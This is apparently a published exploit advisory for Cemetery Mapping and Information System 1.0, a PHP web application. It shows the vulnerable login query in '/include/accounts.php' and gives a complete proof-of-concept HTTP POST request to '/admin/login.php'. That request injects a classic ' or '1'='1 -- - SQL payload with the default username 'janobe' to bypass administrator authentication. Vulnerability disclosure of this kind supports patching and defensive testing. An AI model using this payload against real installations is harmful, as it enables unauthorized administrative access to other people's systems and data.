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Cemetry Mapping and Information System 1.0 - 'user_email' Sql Injection (Authentication Bypass)

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# Exploit Title: Cemetry Mapping and Information System 1.0 - 'user_email' Sql Injection (Authentication Bypass)
# Exploit Author: Marco Catalano
# Date: 2021-01-25
# Vendor Homepage: https://www.sourcecodester.com/php/12779/cemetery-mapping-and-information-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12779&title=Cemetery+Mapping+and+Information+System+Using+PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "user_email" (POST method)
# Tested on: Linux, PHP/7.4.11

Explaination:
The userAuthentication function defined in "/include/accounts.php" implements the following code:

$mydb->setQuery("SELECT * FROM `tbluseraccount` WHERE `U_USERNAME` = '". $U_USERNAME ."' and `U_PASS` = '". $h_pass ."'");

which is called when trying to log into the administrative panel at "/admin/login.php".

Proof Of Concept:

The user input is not properly sanitized and this leads to authentication bypass through the classic "<username>' or '1' = '1 -- -" where <username> has to be a valid username. For example, the default username is "janobe".


POST /admin/login.php?logout=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin/login.php?logout=1
Cookie: wp-settings-time-1=1611158502; PHPSESSID=ujhslpm8cg18eeb1jd7nempudj
Upgrade-Insecure-Requests: 1

user_email=janobe%27+or+%271%27+%3D+%271--+-&user_pass=test&btnLogin=
            
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